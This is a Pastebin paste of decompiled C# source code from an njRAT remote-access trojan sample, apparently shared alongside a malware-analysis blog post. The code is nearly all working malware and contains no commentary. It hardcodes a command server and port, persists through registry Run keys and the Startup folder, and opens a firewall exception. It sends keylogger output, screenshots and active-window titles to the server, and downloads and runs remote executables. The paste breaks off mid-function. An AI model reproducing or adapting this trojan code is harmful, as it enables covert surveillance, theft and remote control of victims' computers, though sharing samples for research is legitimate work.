Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- 'Source code of the njRat sample from Cyber Attack 6
- 'Link: http://middleeastmalware.blogspot.com/2015/04/cyber-attack-6.html
- // Type: j.OK
- // Assembly: j, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
- // MVID: 073EFFA8-2DE2-44C8-B6BD-ED1675EC28D2
- // Assembly location: C:\Users\walied\Desktop\Dahlan1\Dav\Binary_Analysis\Account Info\Next_RunPE\DecodedBase64 (7).exe
- using Microsoft.VisualBasic;
- using Microsoft.VisualBasic.CompilerServices;
- using Microsoft.VisualBasic.Devices;
- using Microsoft.Win32;
- using System;
- using System.Diagnostics;
- using System.Drawing;
- using System.Drawing.Imaging;
- using System.IO;
- using System.IO.Compression;
- using System.Net;
- using System.Net.Sockets;
- using System.Reflection;
- using System.Runtime.CompilerServices;
- using System.Runtime.InteropServices;
- using System.Security.Cryptography;
- using System.Text;
- using System.Threading;
- using System.Windows.Forms;
- namespace j
- {
- [StandardModule]
- internal sealed class OK
- {
- public static string VN = "U0FNQUhYWA==";
- public static string VR = "0.7d";
- public static object MT = (object) null;
- public static string EXE = "calc.exe";
- public static string DR = "TEMP";
- public static string RG = "d0f36270adec45a92233a0e055d2d4fa";
- public static string H = "www.samah.linkpc.net";
- public static string P = "5553";
- public static string Y = "|'|'|";
- public static bool BD = Conversions.ToBoolean("False");
- public static bool Idr = Conversions.ToBoolean("True");
- public static bool IsF = Conversions.ToBoolean("True");
- public static bool Isu = Conversions.ToBoolean("False");
- public static FileInfo LO = new FileInfo(Assembly.GetEntryAssembly().Location);
- public static Computer F = new Computer();
- public static kl kq = (kl) null;
- public static bool Cn = false;
- public static string sf = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
- public static TcpClient C = (TcpClient) null;
- private static MemoryStream MeM = new MemoryStream();
- private static byte[] b = new byte[5121];
- private static string lastcap = "";
- public static object PLG = (object) null;
- public static FileStream FS;
- static OK()
- {
- }
- [DllImport("ntdll")]
- private static int NtSetInformationProcess(IntPtr hProcess, int processInformationClass, ref int processInformation, int processInformationLength);
- [DllImport("avicap32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
- public static bool capGetDriverDescriptionA(short wDriver, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpszName, int cbName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpszVer, int cbVer);
- [DllImport("kernel32", EntryPoint = "GetVolumeInformationA", CharSet = CharSet.Ansi, SetLastError = true)]
- private static int GetVolumeInformation([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpRootPathName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpVolumeNameBuffer, int nVolumeNameSize, ref int lpVolumeSerialNumber, ref int lpMaximumComponentLength, ref int lpFileSystemFlags, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpFileSystemNameBuffer, int nFileSystemNameSize);
- [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
- public static IntPtr GetForegroundWindow();
- [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)]
- public static int GetWindowText(IntPtr hWnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string WinTitle, int MaxLength);
- [DllImport("user32.dll", EntryPoint = "GetWindowTextLengthA", CharSet = CharSet.Ansi, SetLastError = true)]
- public static int GetWindowTextLength(long hwnd);
- public static void DLV(string n)
- {
- try
- {
- OK.F.Registry.CurrentUser.OpenSubKey("Software\\" + OK.RG, true).DeleteValue(n);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- public static object GTV(string n, object ret)
- {
- object obj;
- try
- {
- obj = OK.F.Registry.CurrentUser.OpenSubKey("Software\\" + OK.RG).GetValue(n, RuntimeHelpers.GetObjectValue(ret));
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- obj = ret;
- ProjectData.ClearProjectError();
- }
- return obj;
- }
- public static bool STV(string n, object t, RegistryValueKind typ)
- {
- bool flag;
- try
- {
- OK.F.Registry.CurrentUser.CreateSubKey("Software\\" + OK.RG).SetValue(n, RuntimeHelpers.GetObjectValue(t), typ);
- flag = true;
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- flag = false;
- ProjectData.ClearProjectError();
- }
- return flag;
- }
- public static string inf()
- {
- string str1 = "ll" + OK.Y;
- string str2;
- try
- {
- if (Operators.ConditionalCompareObjectEqual(OK.GTV("vn", (object) ""), (object) "", false))
- {
- string str3 = str1;
- string s = OK.DEB(ref OK.VN) + "_" + OK.HWD();
- string str4 = OK.ENB(ref s);
- string str5 = OK.Y;
- str2 = str3 + str4 + str5;
- }
- else
- {
- string str3 = str1;
- string s1 = Conversions.ToString(OK.GTV("vn", (object) ""));
- string s2 = OK.DEB(ref s1) + "_" + OK.HWD();
- string str4 = OK.ENB(ref s2);
- string str5 = OK.Y;
- str2 = str3 + str4 + str5;
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- string str3 = str1;
- string s = OK.HWD();
- string str4 = OK.ENB(ref s);
- string str5 = OK.Y;
- str2 = str3 + str4 + str5;
- ProjectData.ClearProjectError();
- }
- string str6;
- try
- {
- str6 = str2 + Environment.MachineName + OK.Y;
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- str6 = str2 + "??" + OK.Y;
- ProjectData.ClearProjectError();
- }
- string str7;
- try
- {
- str7 = str6 + Environment.UserName + OK.Y;
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- str7 = str6 + "??" + OK.Y;
- ProjectData.ClearProjectError();
- }
- string str8;
- try
- {
- str8 = str7 + OK.LO.LastWriteTime.Date.ToString("yy-MM-dd") + OK.Y;
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- str8 = str7 + "??-??-??" + OK.Y;
- ProjectData.ClearProjectError();
- }
- string str9 = str8 + "" + OK.Y;
- string str10;
- try
- {
- str10 = str9 + OK.F.Info.OSFullName.Replace("Microsoft", "").Replace("Windows", "Win").Replace("®", "").Replace("™", "").Replace(" ", " ").Replace(" Win", "Win");
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- str10 = str9 + "??";
- ProjectData.ClearProjectError();
- }
- string str11 = str10 + "SP";
- string str12;
- try
- {
- string[] strArray = Strings.Split(Environment.OSVersion.ServicePack, " ", -1, CompareMethod.Binary);
- if (strArray.Length == 1)
- str11 = str11 + "0";
- str12 = str11 + strArray[checked (strArray.Length - 1)];
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- str12 = str11 + "0";
- ProjectData.ClearProjectError();
- }
- string str13;
- try
- {
- str13 = !Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles).Contains("x86") ? str12 + " x86" + OK.Y : str12 + " x64" + OK.Y;
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- str13 = str12 + OK.Y;
- ProjectData.ClearProjectError();
- }
- string str14 = (!OK.Cam() ? str13 + "No" + OK.Y : str13 + "Yes" + OK.Y) + OK.VR + OK.Y + ".." + OK.Y + OK.ACT() + OK.Y;
- string str15 = "";
- try
- {
- string[] valueNames = OK.F.Registry.CurrentUser.CreateSubKey("Software\\" + OK.RG, RegistryKeyPermissionCheck.Default).GetValueNames();
- int index = 0;
- while (index < valueNames.Length)
- {
- string str3 = valueNames[index];
- if (str3.Length == 32)
- str15 = str15 + str3 + ",";
- checked { ++index; }
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- return str14 + str15;
- }
- public static string ENB(ref string s)
- {
- return Convert.ToBase64String(OK.SB(ref s));
- }
- public static string DEB(ref string s)
- {
- byte[] B = Convert.FromBase64String(s);
- return OK.BS(ref B);
- }
- public static byte[] SB(ref string S)
- {
- return Encoding.UTF8.GetBytes(S);
- }
- public static string BS(ref byte[] B)
- {
- return Encoding.UTF8.GetString(B);
- }
- public static byte[] ZIP(byte[] B)
- {
- MemoryStream memoryStream = new MemoryStream(B);
- GZipStream gzipStream = new GZipStream((Stream) memoryStream, CompressionMode.Decompress);
- byte[] buffer = new byte[4];
- memoryStream.Position = checked (memoryStream.Length - 5L);
- memoryStream.Read(buffer, 0, 4);
- int count = BitConverter.ToInt32(buffer, 0);
- memoryStream.Position = 0L;
- byte[] array = new byte[checked (count - 1 + 1)];
- gzipStream.Read(array, 0, count);
- gzipStream.Dispose();
- memoryStream.Dispose();
- return array;
- }
- public static bool Cam()
- {
- try
- {
- int num1 = 0;
- do
- {
- int num2 = (int) checked ((short) num1);
- string str1 = Strings.Space(100);
- // ISSUE: explicit reference operation
- // ISSUE: variable of a reference type
- string& lpszName = @str1;
- int cbName = 100;
- string str2 = (string) null;
- // ISSUE: explicit reference operation
- // ISSUE: variable of a reference type
- string& lpszVer = @str2;
- int cbVer = 100;
- if (OK.capGetDriverDescriptionA((short) num2, lpszName, cbName, lpszVer, cbVer))
- return true;
- checked { ++num1; }
- }
- while (num1 <= 4);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- return false;
- }
- public static string ACT()
- {
- string str1;
- try
- {
- IntPtr foregroundWindow = OK.GetForegroundWindow();
- if (foregroundWindow == IntPtr.Zero)
- {
- str1 = "";
- }
- else
- {
- string str2 = Strings.Space(checked (OK.GetWindowTextLength((long) foregroundWindow) + 1));
- OK.GetWindowText(foregroundWindow, ref str2, str2.Length);
- str1 = OK.ENB(ref str2);
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- str1 = "";
- ProjectData.ClearProjectError();
- }
- return str1;
- }
- public static string HWD()
- {
- string str1;
- try
- {
- string str2 = Interaction.Environ("SystemDrive") + "\\";
- // ISSUE: explicit reference operation
- // ISSUE: variable of a reference type
- string& lpRootPathName = @str2;
- string str3 = (string) null;
- // ISSUE: explicit reference operation
- // ISSUE: variable of a reference type
- string& lpVolumeNameBuffer = @str3;
- int nVolumeNameSize = 0;
- int Number;
- // ISSUE: explicit reference operation
- // ISSUE: variable of a reference type
- int& lpVolumeSerialNumber = @Number;
- int num1 = 0;
- // ISSUE: explicit reference operation
- // ISSUE: variable of a reference type
- int& lpMaximumComponentLength = @num1;
- int num2 = 0;
- // ISSUE: explicit reference operation
- // ISSUE: variable of a reference type
- int& lpFileSystemFlags = @num2;
- string str4 = (string) null;
- // ISSUE: explicit reference operation
- // ISSUE: variable of a reference type
- string& lpFileSystemNameBuffer = @str4;
- int nFileSystemNameSize = 0;
- OK.GetVolumeInformation(lpRootPathName, lpVolumeNameBuffer, nVolumeNameSize, lpVolumeSerialNumber, lpMaximumComponentLength, lpFileSystemFlags, lpFileSystemNameBuffer, nFileSystemNameSize);
- str1 = Conversion.Hex(Number);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- str1 = "ERR";
- ProjectData.ClearProjectError();
- }
- return str1;
- }
- public static object Plugin(byte[] b, string c)
- {
- Module[] modules = Assembly.Load(b).GetModules();
- int index1 = 0;
- while (index1 < modules.Length)
- {
- Module module = modules[index1];
- System.Type[] types = module.GetTypes();
- int index2 = 0;
- while (index2 < types.Length)
- {
- System.Type type = types[index2];
- if (type.FullName.EndsWith("." + c))
- return module.Assembly.CreateInstance(type.FullName);
- checked { ++index2; }
- }
- checked { ++index1; }
- }
- return (object) null;
- }
- public static void ED()
- {
- OK.pr(0);
- }
- private static bool CompDir(FileInfo F1, FileInfo F2)
- {
- if (Operators.CompareString(F1.Name.ToLower(), F2.Name.ToLower(), false) != 0)
- return false;
- DirectoryInfo directoryInfo1 = F1.Directory;
- DirectoryInfo directoryInfo2 = F2.Directory;
- while (Operators.CompareString(directoryInfo1.Name.ToLower(), directoryInfo2.Name.ToLower(), false) == 0)
- {
- directoryInfo1 = directoryInfo1.Parent;
- directoryInfo2 = directoryInfo2.Parent;
- if (directoryInfo1 == null & directoryInfo2 == null)
- return true;
- if (directoryInfo1 == null || directoryInfo2 == null)
- return false;
- }
- return false;
- }
- public static void UNS()
- {
- OK.pr(0);
- OK.Isu = false;
- try
- {
- OK.F.Registry.CurrentUser.OpenSubKey(OK.sf, true).DeleteValue(OK.RG, false);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- OK.F.Registry.LocalMachine.OpenSubKey(OK.sf, true).DeleteValue(OK.RG, false);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- Interaction.Shell("netsh firewall delete allowedprogram \"" + OK.LO.FullName + "\"", AppWinStyle.Hide, false, -1);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- if (OK.FS != null)
- {
- OK.FS.Dispose();
- System.IO.File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + OK.RG + ".exe");
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- OK.F.Registry.CurrentUser.OpenSubKey("Software", true).DeleteSubKey(OK.RG, false);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- Interaction.Shell("cmd.exe /c ping 0 -n 2 & del \"" + OK.LO.FullName + "\"", AppWinStyle.Hide, false, -1);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- ProjectData.EndApp();
- }
- public static void INS()
- {
- Thread.Sleep(1000);
- if (OK.Idr)
- {
- if (!OK.CompDir(OK.LO, new FileInfo(Interaction.Environ(OK.DR).ToLower() + "\\" + OK.EXE.ToLower())))
- {
- try
- {
- if (System.IO.File.Exists(Interaction.Environ(OK.DR) + "\\" + OK.EXE))
- System.IO.File.Delete(Interaction.Environ(OK.DR) + "\\" + OK.EXE);
- FileStream fileStream = new FileStream(Interaction.Environ(OK.DR) + "\\" + OK.EXE, FileMode.CreateNew);
- byte[] array = System.IO.File.ReadAllBytes(OK.LO.FullName);
- fileStream.Write(array, 0, array.Length);
- fileStream.Flush();
- fileStream.Close();
- OK.LO = new FileInfo(Interaction.Environ(OK.DR) + "\\" + OK.EXE);
- Process.Start(OK.LO.FullName);
- ProjectData.EndApp();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.EndApp();
- ProjectData.ClearProjectError();
- }
- }
- }
- try
- {
- Environment.SetEnvironmentVariable("SEE_MASK_NOZONECHECKS", "1", EnvironmentVariableTarget.User);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- Interaction.Shell("netsh firewall add allowedprogram \"" + OK.LO.FullName + "\" \"" + OK.LO.Name + "\" ENABLE", AppWinStyle.Hide, true, 5000);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- if (OK.Isu)
- {
- try
- {
- OK.F.Registry.CurrentUser.OpenSubKey(OK.sf, true).SetValue(OK.RG, (object) ("\"" + OK.LO.FullName + "\" .."));
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- OK.F.Registry.LocalMachine.OpenSubKey(OK.sf, true).SetValue(OK.RG, (object) ("\"" + OK.LO.FullName + "\" .."));
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- if (!OK.IsF)
- return;
- try
- {
- System.IO.File.Copy(OK.LO.FullName, Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + OK.RG + ".exe", true);
- OK.FS = new FileStream(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + OK.RG + ".exe", FileMode.Open);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- public static void Ind(byte[] b)
- {
- string[] strArray1 = Strings.Split(OK.BS(ref b), OK.Y, -1, CompareMethod.Binary);
- try
- {
- string Left1 = strArray1[0];
- if (Operators.CompareString(Left1, "ll", false) == 0)
- OK.Cn = false;
- else if (Operators.CompareString(Left1, "kl", false) == 0)
- OK.Send("kl" + OK.Y + OK.ENB(ref OK.kq.Logs));
- else if (Operators.CompareString(Left1, "prof", false) == 0)
- {
- string Left2 = strArray1[1];
- if (Operators.CompareString(Left2, "~", false) == 0)
- OK.STV(strArray1[2], (object) strArray1[3], RegistryValueKind.String);
- else if (Operators.CompareString(Left2, "!", false) == 0)
- {
- OK.STV(strArray1[2], (object) strArray1[3], RegistryValueKind.String);
- OK.Send(Conversions.ToString(Operators.ConcatenateObject((object) ("getvalue" + OK.Y + strArray1[1] + OK.Y), OK.GTV(strArray1[1], (object) ""))));
- }
- else
- {
- if (Operators.CompareString(Left2, "@", false) != 0)
- return;
- OK.DLV(strArray1[2]);
- }
- }
- else if (Operators.CompareString(Left1, "rn", false) == 0)
- {
- byte[] bytes;
- if ((int) strArray1[2][0] == 31)
- {
- try
- {
- MemoryStream memoryStream = new MemoryStream();
- int length = (strArray1[0] + OK.Y + strArray1[1] + OK.Y).Length;
- memoryStream.Write(b, length, checked (b.Length - length));
- bytes = OK.ZIP(memoryStream.ToArray());
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- OK.Send("MSG" + OK.Y + "Execute ERROR");
- OK.Send("bla");
- ProjectData.ClearProjectError();
- return;
- }
- }
- else
- {
- WebClient webClient = new WebClient();
- try
- {
- bytes = webClient.DownloadData(strArray1[2]);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- OK.Send("MSG" + OK.Y + "Download ERROR");
- OK.Send("bla");
- ProjectData.ClearProjectError();
- return;
- }
- }
- OK.Send("bla");
- string str = Path.GetTempFileName() + "." + strArray1[1];
- try
- {
- System.IO.File.WriteAllBytes(str, bytes);
- Process.Start(str);
- OK.Send("MSG" + OK.Y + "Executed As " + new FileInfo(str).Name);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- Exception exception = ex;
- OK.Send("MSG" + OK.Y + "Execute ERROR " + exception.Message);
- ProjectData.ClearProjectError();
- }
- }
- else if (Operators.CompareString(Left1, "inv", false) == 0)
- {
- byte[] b1 = (byte[]) OK.GTV(strArray1[1], (object) new byte[0]);
- if (strArray1[3].Length < 10 & b1.Length == 0)
- {
- OK.Send("pl" + OK.Y + strArray1[1] + OK.Y + Conversions.ToString(1));
- }
- else
- {
- if (strArray1[3].Length > 10)
- {
- MemoryStream memoryStream = new MemoryStream();
- int length = (strArray1[0] + OK.Y + strArray1[1] + OK.Y + strArray1[2] + OK.Y).Length;
- memoryStream.Write(b, length, checked (b.Length - length));
- b1 = OK.ZIP(memoryStream.ToArray());
- OK.STV(strArray1[1], (object) b1, RegistryValueKind.Binary);
- }
- OK.Send("pl" + OK.Y + strArray1[1] + OK.Y + Conversions.ToString(0));
- object objectValue = RuntimeHelpers.GetObjectValue(OK.Plugin(b1, "A"));
- NewLateBinding.LateSet(objectValue, (System.Type) null, "h", new object[1]
- {
- (object) OK.H
- }, (string[]) null, (System.Type[]) null);
- NewLateBinding.LateSet(objectValue, (System.Type) null, "p", new object[1]
- {
- (object) OK.P
- }, (string[]) null, (System.Type[]) null);
- NewLateBinding.LateSet(objectValue, (System.Type) null, "osk", new object[1]
- {
- (object) strArray1[2]
- }, (string[]) null, (System.Type[]) null);
- NewLateBinding.LateCall(objectValue, (System.Type) null, "start", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true);
- while (!Conversions.ToBoolean(Operators.OrObject((object) (bool) (!OK.Cn ? 1 : 0), Operators.CompareObjectEqual(NewLateBinding.LateGet(objectValue, (System.Type) null, "Off", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null), (object) true, false))))
- Thread.Sleep(1);
- NewLateBinding.LateSet(objectValue, (System.Type) null, "off", new object[1]
- {
- (object) true
- }, (string[]) null, (System.Type[]) null);
- }
- }
- else if (Operators.CompareString(Left1, "ret", false) == 0)
- {
- byte[] b1 = (byte[]) OK.GTV(strArray1[1], (object) new byte[0]);
- if (strArray1[2].Length < 10 & b1.Length == 0)
- {
- OK.Send("pl" + OK.Y + strArray1[1] + OK.Y + Conversions.ToString(1));
- }
- else
- {
- if (strArray1[2].Length > 10)
- {
- MemoryStream memoryStream = new MemoryStream();
- int length = (strArray1[0] + OK.Y + strArray1[1] + OK.Y).Length;
- memoryStream.Write(b, length, checked (b.Length - length));
- b1 = OK.ZIP(memoryStream.ToArray());
- OK.STV(strArray1[1], (object) b1, RegistryValueKind.Binary);
- }
- OK.Send("pl" + OK.Y + strArray1[1] + OK.Y + Conversions.ToString(0));
- object objectValue = RuntimeHelpers.GetObjectValue(OK.Plugin(b1, "A"));
- string[] strArray2 = new string[5]
- {
- "ret",
- OK.Y,
- strArray1[1],
- OK.Y,
- null
- };
- string[] strArray3 = strArray2;
- int index = 4;
- string s = Conversions.ToString(NewLateBinding.LateGet(objectValue, (System.Type) null, "GT", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null));
- string str = OK.ENB(ref s);
- strArray3[index] = str;
- OK.Send(string.Concat(strArray2));
- }
- }
- else if (Operators.CompareString(Left1, "CAP", false) == 0)
- {
- int width = Screen.PrimaryScreen.Bounds.Width;
- Rectangle bounds = Screen.PrimaryScreen.Bounds;
- int height = bounds.Height;
- int num1 = 135173;
- Bitmap bitmap1 = new Bitmap(width, height, (PixelFormat) num1);
- Graphics graphics1 = Graphics.FromImage((Image) bitmap1);
- Graphics graphics2 = graphics1;
- int sourceX = 0;
- int sourceY = 0;
- int destinationX = 0;
- int destinationY = 0;
- Size size1 = new Size(bitmap1.Width, bitmap1.Height);
- Size blockRegionSize = size1;
- int num2 = 13369376;
- graphics2.CopyFromScreen(sourceX, sourceY, destinationX, destinationY, blockRegionSize, (CopyPixelOperation) num2);
- try
- {
- Cursor @default = Cursors.Default;
- Graphics g = graphics1;
- // ISSUE: explicit reference operation
- // ISSUE: variable of a reference type
- Rectangle& local = @bounds;
- Point position = Cursor.Position;
- size1 = new Size(32, 32);
- Size size2 = size1;
- // ISSUE: explicit reference operation
- ^local = new Rectangle(position, size2);
- Rectangle targetRect = bounds;
- @default.Draw(g, targetRect);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- graphics1.Dispose();
- Bitmap bitmap2 = new Bitmap(Conversions.ToInteger(strArray1[1]), Conversions.ToInteger(strArray1[2]));
- Graphics graphics3 = Graphics.FromImage((Image) bitmap2);
- graphics3.DrawImage((Image) bitmap1, 0, 0, bitmap2.Width, bitmap2.Height);
- graphics3.Dispose();
- MemoryStream memoryStream1 = new MemoryStream();
- string S = "CAP" + OK.Y;
- b = OK.SB(ref S);
- memoryStream1.Write(b, 0, b.Length);
- MemoryStream memoryStream2 = new MemoryStream();
- bitmap2.Save((Stream) memoryStream2, ImageFormat.Jpeg);
- string Left2 = OK.md5(memoryStream2.ToArray());
- if (Operators.CompareString(Left2, OK.lastcap, false) != 0)
- {
- OK.lastcap = Left2;
- memoryStream1.Write(memoryStream2.ToArray(), 0, checked ((int) memoryStream2.Length));
- }
- else
- memoryStream1.WriteByte((byte) 0);
- OK.Sendb(memoryStream1.ToArray());
- memoryStream1.Dispose();
- memoryStream2.Dispose();
- bitmap1.Dispose();
- bitmap2.Dispose();
- }
- else if (Operators.CompareString(Left1, "un", false) == 0)
- {
- string Left2 = strArray1[1];
- if (Operators.CompareString(Left2, "~", false) == 0)
- OK.UNS();
- else if (Operators.CompareString(Left2, "!", false) == 0)
- {
- OK.pr(0);
- ProjectData.EndApp();
- }
- else
- {
- if (Operators.CompareString(Left2, "@", false) != 0)
- return;
- OK.pr(0);
- Process.Start(OK.LO.FullName);
- ProjectData.EndApp();
- }
- }
- else if (Operators.CompareString(Left1, "up", false) == 0)
- {
- byte[] bytes;
- if ((int) strArray1[1][0] == 31)
- {
- try
- {
- MemoryStream memoryStream = new MemoryStream();
- int length = (strArray1[0] + OK.Y).Length;
- memoryStream.Write(b, length, checked (b.Length - length));
- bytes = OK.ZIP(memoryStream.ToArray());
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- OK.Send("MSG" + OK.Y + "Update ERROR");
- OK.Send("bla");
- ProjectData.ClearProjectError();
- return;
- }
- }
- else
- {
- WebClient webClient = new WebClient();
- try
- {
- bytes = webClient.DownloadData(strArray1[1]);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- OK.Send("MSG" + OK.Y + "Update ERROR");
- OK.Send("bla");
- ProjectData.ClearProjectError();
- return;
- }
- }
- OK.Send("bla");
- string str = Path.GetTempFileName() + ".exe";
- try
- {
- OK.Send("MSG" + OK.Y + "Updating To " + new FileInfo(str).Name);
- Thread.Sleep(2000);
- System.IO.File.WriteAllBytes(str, bytes);
- Process.Start(str, "..");
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- Exception exception = ex;
- OK.Send("MSG" + OK.Y + "Update ERROR " + exception.Message);
- ProjectData.ClearProjectError();
- return;
- }
- OK.UNS();
- }
- else if (Operators.CompareString(Left1, "Ex", false) == 0)
- {
- if (OK.PLG == null)
- {
- OK.Send("PLG");
- int num = 0;
- while (!(OK.PLG != null | num == 20 | !OK.Cn))
- {
- checked { ++num; }
- Thread.Sleep(1000);
- }
- if (OK.PLG == null | !OK.Cn)
- return;
- }
- object Instance = OK.PLG;
- // ISSUE: variable of the null type
- __Null local1 = null;
- string MemberName = "ind";
- object[] objArray = new object[1]
- {
- (object) b
- };
- object[] Arguments = objArray;
- // ISSUE: variable of the null type
- __Null local2 = null;
- // ISSUE: variable of the null type
- __Null local3 = null;
- bool[] flagArray = new bool[1]
- {
- true
- };
- bool[] CopyBack = flagArray;
- int num1 = 1;
- NewLateBinding.LateCall(Instance, (System.Type) local1, MemberName, Arguments, (string[]) local2, (System.Type[]) local3, CopyBack, num1 != 0);
- if (!flagArray[0])
- return;
- b = (byte[]) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray[0]), typeof (byte[]));
- }
- else
- {
- if (Operators.CompareString(Left1, "PLG", false) != 0)
- return;
- MemoryStream memoryStream = new MemoryStream();
- int length = (strArray1[0] + OK.Y).Length;
- memoryStream.Write(b, length, checked (b.Length - length));
- OK.PLG = RuntimeHelpers.GetObjectValue(OK.Plugin(OK.ZIP(memoryStream.ToArray()), "A"));
- NewLateBinding.LateSet(OK.PLG, (System.Type) null, "H", new object[1]
- {
- (object) OK.H
- }, (string[]) null, (System.Type[]) null);
- NewLateBinding.LateSet(OK.PLG, (System.Type) null, "P", new object[1]
- {
- (object) OK.P
- }, (string[]) null, (System.Type[]) null);
- NewLateBinding.LateSet(OK.PLG, (System.Type) null, "c", new object[1]
- {
- (object) OK.C
- }, (string[]) null, (System.Type[]) null);
- }
- }
- catch (Exception ex1)
- {
- ProjectData.SetProjectError(ex1);
- Exception exception = ex1;
- if (strArray1.Length > 0)
- {
- if (Operators.CompareString(strArray1[0], "Ex", false) == 0 | Operators.CompareString(strArray1[0], "PLG", false) == 0)
- OK.PLG = (object) null;
- }
- try
- {
- OK.Send("ER" + OK.Y + strArray1[0] + OK.Y + exception.Message);
- }
- catch (Exception ex2)
- {
- ProjectData.SetProjectError(ex2);
- ProjectData.ClearProjectError();
- }
- ProjectData.ClearProjectError();
- }
- }
- public static string md5(byte[] B)
- {
- B = new MD5CryptoServiceProvider().ComputeHash(B);
- string str = "";
- byte[] numArray = B;
- int index = 0;
- while (index < numArray.Length)
- {
- byte num = numArray[index];
- str = str + num.ToString("x2");
- checked { ++index; }
- }
- return str;
- }
- public static void pr(int i)
- {
- try
- {
- OK.NtSetInformationProcess(Process.GetCurrentProcess().Handle, 29, ref i, 4);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- public static bool Sendb(byte[] b)
- {
- if (!OK.Cn)
- return false;
- try
- {
- FileInfo fileInfo = OK.LO;
- Monitor.Enter((object) fileInfo);
- try
- {
- if (!OK.Cn)
- return false;
- MemoryStream memoryStream = new MemoryStream();
- string S = b.Length.ToString() + "\0";
- byte[] buffer = OK.SB(ref S);
- memoryStream.Write(buffer, 0, buffer.Length);
- memoryStream.Write(b, 0, b.Length);
- OK.C.Client.Send(memoryStream.ToArray(), 0, checked ((int) memoryStream.Length), SocketFlags.None);
- }
- finally
- {
- Monitor.Exit((object) fileInfo);
- }
- }
- catch (Exception ex1)
- {
- ProjectData.SetProjectError(ex1);
- try
- {
- if (OK.Cn)
- {
- OK.Cn = false;
- OK.C.Close();
- }
- }
- catch (Exception ex2)
- {
- ProjectData.SetProjectError(ex2);
- ProjectData.ClearProjectError();
- }
- ProjectData.ClearProjectError();
- }
- return OK.Cn;
- }
- public static bool Send(string S)
- {
- return OK.Sendb(OK.SB(ref S));
- }
- public static bool connect()
- {
- OK.Cn = false;
- Thread.Sleep(2000);
- FileInfo fileInfo = OK.LO;
- Monitor.Enter((object) fileInfo);
- try
- {
- try
- {
- if (OK.C != null)
- {
- try
- {
- OK.C.Close();
- OK.C = (TcpClient) null;
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- try
- {
- OK.MeM.Dispose();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
